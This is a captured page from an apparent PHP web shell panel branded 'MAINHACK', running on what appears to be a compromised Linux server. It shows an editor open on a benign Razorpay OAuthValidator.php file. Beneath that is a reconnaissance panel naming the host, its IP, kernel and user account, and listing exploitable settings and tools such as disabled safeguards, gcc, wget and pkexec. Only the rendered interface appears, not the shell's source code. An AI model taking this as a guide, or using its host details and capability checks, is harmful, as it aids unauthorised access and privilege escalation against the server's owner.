[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OAuthValidator.php
<?php namespace Razorpay\Api; use Razorpay\Api\Errors; class OAuthValidator { protected $data; protected $rules; protected $messages = [ 'id' => 'The :attribute is not valid.', 'required' => 'The :attribute field is required.', 'url' => 'The :attribute is not valid', 'token_type' => 'The :attribute must be either refresh_code or access_token.', ]; public function __construct(array $data, array $rules) { $this->data = $data; $this->rules = $rules; } public function validateOrFail() { foreach ($this->rules as $field => $ruleSet) { $rules = explode('|', $ruleSet); foreach ($rules as $rule) { $this->applyRule($field, $rule); } } return true; } protected function applyRule($field, $rule) { $params = []; if (strpos($rule, ':') !== false) { [$rule, $paramString] = explode(':', $rule); $params = explode(',', $paramString); } // Convert snake_case to camelCase (e.g., token_type -> TokenType) $method = 'validate' . str_replace('_', '', ucwords($rule, '_')); // Check if the method exists and call it if (method_exists($this, $method)) { $this->$method($field, ...$params); } else { throw new Exception("Validation rule '$rule' not found."); } } protected function validateId($field) { $idRegex = "/^[A-Za-z0-9]{1,14}$/"; $value = $this->data[$field]; if (!preg_match($idRegex, $value)){ $this->throwException($field, 'id'); } } protected function validateRequired($field) { $value = $this->data[$field] ?? null; // Check if the value is empty or not set if (is_null($value) || (is_string($value) && trim($value) === '')) { $this->throwException($field, 'required'); } // Check if the value is an array and is empty if (is_array($value) && empty($value)) { $this->throwException($field, 'required'); } } protected function validateTokenType($field) { $validTypes = ['refresh_code', 'access_token']; if (!in_array($this->data[$field] ?? '', $validTypes)) { $this->throwException($field, 'token_type'); } } protected function validateUrl($field) { $url = $this->data[$field] ?? ''; $urlRegex = "/^(https?):\\/\\/[^\\s\\/$.?#].[^\\s]*$/i"; if (!preg_match($urlRegex, $url)) { $this->throwException($field, 'url'); } } protected function throwException($field, $rule, $params = []) { $message = str_replace(':attribute', $field, $this->messages[$rule] ?? 'The :attribute is invalid.'); foreach ($params as $key => $param) { $message = str_replace(':' . $key, $param, $message); } throw new Errors\BadRequestError($message, "BAD_REQUEST_ERROR", 400); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002